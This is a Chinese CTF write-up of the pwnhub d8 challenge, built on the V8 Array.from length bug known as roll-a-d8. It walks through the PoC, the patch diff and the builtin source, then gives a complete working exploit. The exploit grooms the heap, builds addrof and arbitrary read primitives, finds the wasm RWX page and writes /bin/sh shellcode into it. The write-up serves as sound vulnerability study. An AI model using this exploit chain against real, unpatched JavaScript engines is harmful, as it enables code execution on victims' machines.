roll_a_d8 && pwnhub d8题解

已经有很长一段时间没有调东西了,这两天看了看v8相关的内容,调了之前pwnhub出现的一道v8相关的题。(ps:很久没做题现在都不会做了)

其实我是先看了几篇关于roll-a-d8的文章,把这个漏洞分析了一下,没打算写exp的,后来准备做pwnhub-d8的时候发现可以用这个洞来打,所以写了exp记录一下!关于roll-a-d8的文章在这里,师傅们写的很详细了:

roll_a_d8-v8利用学习

扔个骰子学v8 - 从Plaid CTF roll a d8开始

v8 exploit入门[PlaidCTF roll a d8]

初步分析

题目给出的文件内容如下:

1
2
3
4
5
6
编译命令
git clone https://chromium.googlesource.com/v8/v8.git
git checkout (before Mar 7, 2018)
cd v8 & gclient sync
python tools/dev/v8gen.py -b ia32.release ia32.release
ninja -C out.gn/ia32.release d8

根据其中的before Mar 7 2018,猜测只需要找这之后发现的漏洞,应该就可以利用成功了(之前走入了找这天修补了什么漏洞的误区)。关键是怎么找这些可以用的漏洞呢?

我最开始是在git的所有日志里面搜索与OOB有关的commit,这道题可以采用roll-a-d8的洞来打也是这样搜出来的。然而还有更好的方法,可以在chrome的issue列表进行搜索,搜索的关键字就为OOB,主要是因为OOB从利用上来讲会容易一些。会搜出来很多漏洞,从里面选择漏洞来尝试即可。

漏洞分析

漏洞的详情在这里。在这个链接里面找到了存在漏洞版本的commitid、diff以及poc。

poc分析

首先分析一下poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
let oobArray = [];
let maxSize = 1028 * 8;
Array.from.call(function() { return oobArray }, {[Symbol.iterator] : _ => (
{
counter : 0,
next() {
let result = this.counter++;
if (this.counter > maxSize) {
oobArray.length = 0;
return {done: true};
} else {
return {value: result, done: false};
}
}
}
) });
oobArray[oobArray.length - 1] = 0x41414141;

分配了一个oobArray,然后调用了Array.from函数,查了一下该函数:

Array.from() 方法从一个类似数组或可迭代对象创建一个新的,浅拷贝的数组实例。

这里传递给Array.from的参数就是一个可迭代对象,而且给对象的Symbol.iterator赋了值,标识这个对象是可迭代的。

1
2
3
4
5
在 ES6 中常用的集合对象(数组、Set/Map集合)和字符串都是可迭代对象,这些对象都有默认的迭代器和Symbol.iterator属性。

可迭代对象具有Symbol.iterator属性,即具有Symbol.iterator属性的对象都有默认迭代器。

通过给Symbol.iterator属性添加一个生成器可以将自定义对象变成可迭代对象。

next函数就是每次迭代中要调用到的函数,该函数在最后一次迭代的时候把oobArray的length设置成了0。然后往数组中的oobArray.length-1处赋值就导致了程序崩溃。

源码分析

有了崩溃的产生,那么崩溃是如何产生的呢?正常情况下oobArray-1还是处于数组自己的空间内,不应该出错。

这里看一下diff文件,可以发现仅对GenerateSetLength进行了patch,将其中调用的SmiLessThan换成了SmiNotEqual。查看注释,如果新创建的数组的原本的长度大于预期的,就进入到运行时,来对数组进行收缩。从预期长度小于原来长度则进入runtime改为了预期长度和原来长度不一致则进入runtime

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
   void GenerateSetLength(TNode<Context> context, TNode<Object> array,
TNode<Number> length) {
Label fast(this), runtime(this), done(this);
+ // TODO(delphick): We should be able to skip the fast set altogether, if the
+ // length already equals the expected length, which it always is now on the
+ // fast path.
// Only set the length in this stub if
// 1) the array has fast elements,
// 2) the length is writable,
- // 3) the new length is greater than or equal to the old length.
+ // 3) the new length is equal to the old length.

// 1) Check that the array has fast elements.
// TODO(delphick): Consider changing this since it does an an unnecessary
@@ -1970,10 +1973,10 @@
// BranchIfFastJSArray above.
EnsureArrayLengthWritable(LoadMap(fast_array), &runtime);

- // 3) If the created array already has a length greater than required,
+ // 3) If the created array's length does not match the required length,
// then use the runtime to set the property as that will insert holes
- // into the excess elements and/or shrink the backing store.
- GotoIf(SmiLessThan(length_smi, old_length), &runtime);
+ // into excess elements or shrink the backing store as appropriate.
+ GotoIf(SmiNotEqual(length_smi, old_length), &runtime);

StoreObjectFieldNoWriteBarrier(fast_array, JSArray::kLengthOffset,
length_smi);

所以问题就出在这个地方,再查看一下调用了GenerateSetLength的地方,也就是Array.from实现的地方:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
// ES #sec-array.from
TF_BUILTIN(ArrayFrom, ArrayPopulatorAssembler) {
TNode<Context> context = CAST(Parameter(BuiltinDescriptor::kContext));
TNode<Int32T> argc =
UncheckedCast<Int32T>(Parameter(BuiltinDescriptor::kArgumentsCount));
// 获取参数列表
CodeStubArguments args(this, ChangeInt32ToIntPtr(argc));

TNode<Object> map_function = args.GetOptionalArgumentValue(1);
// 检测map_function是不是未定义或者是不能调用
// If map_function is not undefined, then ensure it's callable else throw.
{
...
}

Label iterable(this), not_iterable(this), finished(this), if_exception(this);

TNode<Object> this_arg = args.GetOptionalArgumentValue(2);
// 从后面的分析来看items对应的是Array.from的第二个参数,但是他的idx却是0?
// 所以猜测顺序是从后往前算的
TNode<Object> items = args.GetOptionalArgumentValue(0);
// The spec doesn't require ToObject to be called directly on the iterable
// branch, but it's part of GetMethod that is in the spec.
// 将items变成arraylike
TNode<JSReceiver> array_like = ToObject(context, items);

// 定义两个变量,array、length
TVARIABLE(Object, array);
TVARIABLE(Number, length);

// Determine whether items[Symbol.iterator] is defined:
IteratorBuiltinsAssembler iterator_assembler(state());
Node* iterator_method =
iterator_assembler.GetIteratorMethod(context, array_like);
Branch(IsNullOrUndefined(iterator_method), &not_iterable, &iterable);

// 如何是可迭代的
BIND(&iterable);
{
TVARIABLE(Number, index, SmiConstant(0));
TVARIABLE(Object, var_exception);
Label loop(this, &index), loop_done(this),
on_exception(this, Label::kDeferred),
index_overflow(this, Label::kDeferred);

// Check that the method is callable.
// 检测是否可调用
{
...
}

// Construct the output array with empty length.
// 生成一个空数组,用来存放迭代输出的内容
array = ConstructArrayLike(context, args.GetReceiver());

// Actually get the iterator and throw if the iterator method does not yield
// one.
IteratorRecord iterator_record =
iterator_assembler.GetIterator(context, items, iterator_method);

TNode<Context> native_context = LoadNativeContext(context);
TNode<Object> fast_iterator_result_map =
LoadContextElement(native_context, Context::ITERATOR_RESULT_MAP_INDEX);

Goto(&loop);

// 开始循环迭代
BIND(&loop);
{
// Loop while iterator is not done.
TNode<Object> next = CAST(iterator_assembler.IteratorStep(
context, iterator_record, &loop_done, fast_iterator_result_map));
TVARIABLE(Object, value,
CAST(iterator_assembler.IteratorValue(
context, next, fast_iterator_result_map)));

// If a map_function is supplied then call it (using this_arg as
// receiver), on the value returned from the iterator. Exceptions are
// caught so the iterator can be closed.
{
Label next(this);
GotoIf(IsUndefined(map_function), &next);

CSA_ASSERT(this, IsCallable(map_function));
Node* v = CallJS(CodeFactory::Call(isolate()), context, map_function,
this_arg, value.value(), index.value());
GotoIfException(v, &on_exception, &var_exception);
// 获取到值
value = CAST(v);
Goto(&next);
BIND(&next);
}

// Store the result in the output object (catching any exceptions so the
// iterator can be closed).
// 把获取到的值写入到数组里面
Node* define_status =
CallRuntime(Runtime::kCreateDataProperty, context, array.value(),
index.value(), value.value());
GotoIfException(define_status, &on_exception, &var_exception);
// 将index的值增加1
index = NumberInc(index.value());

// The spec requires that we throw an exception if index reaches 2^53-1,
// but an empty loop would take >100 days to do this many iterations. To
// actually run for that long would require an iterator that never set
// done to true and a target array which somehow never ran out of memory,
// e.g. a proxy that discarded the values. Ignoring this case just means
// we would repeatedly call CreateDataProperty with index = 2^53.
CSA_ASSERT_BRANCH(this, [&](Label* ok, Label* not_ok) {
BranchIfNumberRelationalComparison(Operation::kLessThan, index.value(),
NumberConstant(kMaxSafeInteger), ok,
not_ok);
});
Goto(&loop);
}
// 循环结束,length的值设置为idx
BIND(&loop_done);
{
length = index;
Goto(&finished);
}

BIND(&on_exception);
{
// Close the iterator, rethrowing either the passed exception or
// exceptions thrown during the close.
iterator_assembler.IteratorCloseOnException(context, iterator_record,
&var_exception);
}
}

// Since there's no iterator, items cannot be a Fast JS Array.
// 不可迭代的情况
BIND(&not_iterable);
{
...
}

BIND(&finished);

// 把index的值作为GenerateSetLength中预期的长度
// Finally set the length on the output and return it.
GenerateSetLength(context, array.value(), length.value());
args.PopAndReturn(array.value());
}

看完这里可能还是体会不到漏洞在哪里,结合poc中的最后一次迭代的操作,把oobArray的长度设置成0了,如果Array.from中的array是新创建出来的话,那么不可能存在这个漏洞,要让漏洞存在,就需要让Array.from中新建的array和我们最开始定义的oobArray是同一个。

整个过程是这样,首先定义了一个数组oobArray,然后调用了Array.from函数,将我们构造的可迭代对象作为参数,试图从里面返回一个数组。在Array.from循环迭代我们的对象时,他也会新建一个数组array用来存放迭代到的每一个值,然后会设置array的length属性,预期的值就是迭代器最后的index值。在最后一次迭代的时候把oobArray的length设置成了0。如果oobArray和array是同一个数组,那么在用GenerateSetLength设置length的时候数组原本的length已经是0了,这时预期的值肯定大于0,所以会把length属性设置成预期的值。就造成length与实际数组长度不符。

所以这里需要满足oobArray和array是同一个数组这个条件,在pollyfill中看一下Array.from的实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// 22.1.2.1 Array.from ( items [ , mapfn [ , thisArg ] ] )
define(
Array, 'from',
function from(items) {
var mapfn = arguments[1];
var thisArg = arguments[2];

var c = strict(this);
if (mapfn === undefined) {
var mapping = false;
} else {
if (!IsCallable(mapfn)) throw TypeError();
var t = thisArg;
mapping = true;
}
var usingIterator = GetMethod(items, $$iterator);
if (usingIterator !== undefined) {
if (IsConstructor(c)) {
// 这里调用了c,而c=strict(this)
var a = new c();
} else {
a = new Array(0);
}
var iterator = GetIterator(items, usingIterator);
var k = 0;
while (true) {

因为这里Array.from.call的this参数是一个函数,所以会调用var a = new c()
查询javascript中new关键字的返回值可知,当使用new关键字调用一个函数时,若函数返回一个非原始变量(如像object、array或function),那么这些返回值将取代原本应该返回的this实例。

所以由于this是一个返回oobArray的函数,在Array.from中生成array时得到的就是oobArray,满足了漏洞的条件。

搭建环境

题目给的程序我这里跑不起来,所以按照题目给的信息自己编译了以便,方便调试。我一般都是在服务器上下载编译,然后打包下载编译好的程序到本地。注意这里得到的是32位的程序!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# 准备depot_tools
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
export PATH=`pwd`/depot_tools:"$PATH"
# 准备ninja
git clone https://github.com/ninja-build/ninja.git
cd ninja && ./configure.py --bootstrap && cd ..
export PATH=`pwd`/ninja:"$PATH"
# 获取v8
fetch v8
# 安装编译所需环境
./build/install-build-deps.sh
# 切换到漏洞版本
git checkout 6afd25fff02cbf698224bf339336376878671727
gclient sync

tools/dev/v8gen.py ia32.release
tools/dev/v8gen.py ia32.debug

ninja -C out.gn/ia32.release d8
ninja -C out.gn/ia32.debug d8

漏洞利用

漏洞原理清楚之后就需要进行漏洞利用了,在调的时候主要遇到了下面几个问题:


poc里面在最后一次迭代的时候把数组长度设置成了0(实际利用的时候设置成了一个较小的数),正常情况下就有一大部分内存处于空闲状态,但是由于GC的内存回收机制,这部分内存不会立马被回收,所以不能简单的就申请到这块内存。

采取的方法就是在最后一次迭代的时候进行很多次申请内存操作,总会触发GC的垃圾回收并且分配到这块内存。


题目要求的程序是32位,但是通过oobArray访问或修改数据的时候却是以8字节为单位,修改的时候可能会改到无关的数据。而且如果一次性修改8字节的数据,那么最低字节的数据会被设置成0?可能是数据转换工具的问题?

反正就是尽量不要修改到无关数据,在修改前可以先把原始数据保存一下,然后修改的时候带上原始数据。


怎么获取rwx内存区域?

我尝试使用starCTF里面OOB用到的方式去查找,发现这里没有data这个字段。最后用job命令查看code字段,发现里面有我们想要的内容,在code字段偏移为0x40的地方就存放着这些代码,也就是rwx的地方,在这里下了断点,调用wasm的函数发现程序执行到了这里!code字段在function对象偏移为0x18的地方,所以获取rwx的步骤如下:

addressOf(func)–>offset 0x18(code)–>offset 0x40–>rwx


总的漏洞利用大致为:结合POC代码,在最后一次迭代的时候进行多次的内存分配,每次申请一个ArrayBuffer和一个对象,分别放入不同的数组;在oobArray中依据标志数据搜索是否存在可控的ArrayBuffer和对象,找到之后修改标志数据,然后根据修改的标志数据在数组里面定位可控的ArrayBuffer和对象;实现addressOf来获取wasm函数的地址,进一步获取到rwx的地址;修改ArrauBuffer的backing_store到rwx区域,写入shellcode;调用wasm函数,执行shellcode。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
class Memory{
constructor(){
this.buf = new ArrayBuffer(8);
this.f64 = new Float64Array(this.buf);
this.u32 = new Uint32Array(this.buf);
this.bytes = new Uint8Array(this.buf);
}
d2u(val){ //double ==> Uint64
this.f64[0] = val;
let tmp = Array.from(this.u32);
return tmp[1] * 0x100000000 + tmp[0];
}
u2d(val){ //Uint64 ==> double
let tmp = [];
tmp[0] = parseInt(val % 0x100000000);
tmp[1] = parseInt((val - tmp[0]) / 0x100000000);
this.u32.set(tmp);
return this.f64[0];
}
}

var mem = new Memory();

function exploit(){
let wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 7, 1, 96, 2, 127, 127, 1, 127, 3, 2, 1, 0, 4, 4, 1, 112, 0, 0, 5, 3, 1, 0, 1, 7, 21, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 8, 95, 90, 51, 97, 100, 100, 105, 105, 0, 0, 10, 9, 1, 7, 0, 32, 1, 32, 0, 106, 11]);
let wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), {});
let f = wasm_mod.exports._Z3addii;

let buf_lst = [];
let obj_lst = [];
let oobArray = [1.1];
let maxsize = 1028 * 8;
Array.from.call(function() { return oobArray }, {[Symbol.iterator] : _ => (
{
counter : 0,
max : maxsize,
next() {
let result = this.counter++;
if (this.counter == this.max) {
oobArray.length = 1;
for(let i=0;i<300;++i){
buf_lst.push(new ArrayBuffer(0x123));
let obj = {'marker':0x4444,obj:f,obj1:f};
obj_lst.push(obj);
}
return {done: true};
} else {
return {value: result, done: false};
}
}
}
) });
var offset_to_vicobj = 0;
var offset_to_victimbuffer = 0;
// find offset to buffer
for (let i = 0; i < maxsize; i++) {
let int_val = mem.d2u(oobArray[i]).toString(16);
if(int_val.indexOf('123')!=-1){
offset_to_victimbuffer = i;
console.log("buffer offset: "+offset_to_victimbuffer);
break;
}
}
// find offset to obj
for(let i=0;i<maxsize;++i){
let int_val = mem.d2u(oobArray[i]);
if(int_val.toString(16).startsWith('8888')){
print(i,int_val.toString(16));
obj_marker_tmp = int_val % 0x100000000;
offset_to_vicobj = i;
console.log("obj offset: "+offset_to_vicobj);
break;
}
}

// obj_lst's idx, whitch we can control
var ctrl_obj_idx = 0;
// buf_lst's idx
var ctrl_buf_idx = 0;

// search controllable obj idx in obj_lst
let target_marker = 0x4444*0x100000000+obj_marker_tmp;
oobArray[offset_to_vicobj] = mem.u2d(target_marker);
for(let i=0;i<obj_lst.length;++i){
if(obj_lst[i].marker===0x2222){
console.log("found controllable obj at idx "+i.toString());
ctrl_obj_idx = i;
break;
}
}

// search controllable buf idx in buf_lst
// cause oobArray will overwite 8 byte everytime
// we need to get/restore the init value
let victim_value_tmp = mem.d2u(oobArray[offset_to_victimbuffer]);
victim_value_tmp = (victim_value_tmp - victim_value_tmp%0x100000000)/0x100000000;
oobArray[offset_to_victimbuffer] = mem.u2d(0x111+victim_value_tmp*0x100000000);
victim_value_tmp = mem.d2u(oobArray[offset_to_victimbuffer-2]);
victim_value_tmp = victim_value_tmp%0x100000000
oobArray[offset_to_victimbuffer-2] = mem.u2d(0x222*0x100000000+victim_value_tmp);

for(let i=0;i<buf_lst.length;++i){
if(buf_lst[i].byteLength===0x111){
console.log("found controllable buf at idx " + i.toString());
ctrl_buf_idx = i;
break;
}
}

var dataview = new DataView(buf_lst[ctrl_buf_idx]);

function addrof(obj){
obj_lst[ctrl_obj_idx].obj1 = obj;
let val_tmp = mem.d2u(oobArray[offset_to_vicobj+1]);
return (val_tmp-(val_tmp%0x100000000))/0x100000000;
}
function read4(addr){
oobArray[offset_to_victimbuffer-1] = mem.u2d(addr-4);
var tmp = mem.d2u(dataview.getFloat64(0,true));
tmp = (tmp-tmp%0x100000000)/0x100000000;
return tmp;
}

let f_addr = addrof(f);
console.log("func addr: 0x"+f_addr.toString(16));
let rwx_addr = read4(f_addr-1+0x18)-1+0x40;
console.log("rwx addr: 0x"+rwx_addr.toString(16));
oobArray[offset_to_victimbuffer-1] = mem.u2d(rwx_addr);
let shellcode = [0x6a,0xb,0x58,0x99,0x52,0x66,0x68,0x2d,0x63,0x89,0xe7,0x68,0x2f,0x73,0x68,0x0,0x68,0x2f,0x62,0x69,0x6e,0x89,0xe3,0x52,0xe8,0x8,0x0,0x0,0x0,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x0,0x57,0x53,0x89,0xe1,0xcd,0x80];
for(let i=0;i<shellcode.length;++i){
dataview.setUint8(i,shellcode[i]);
}
f();
}

exploit()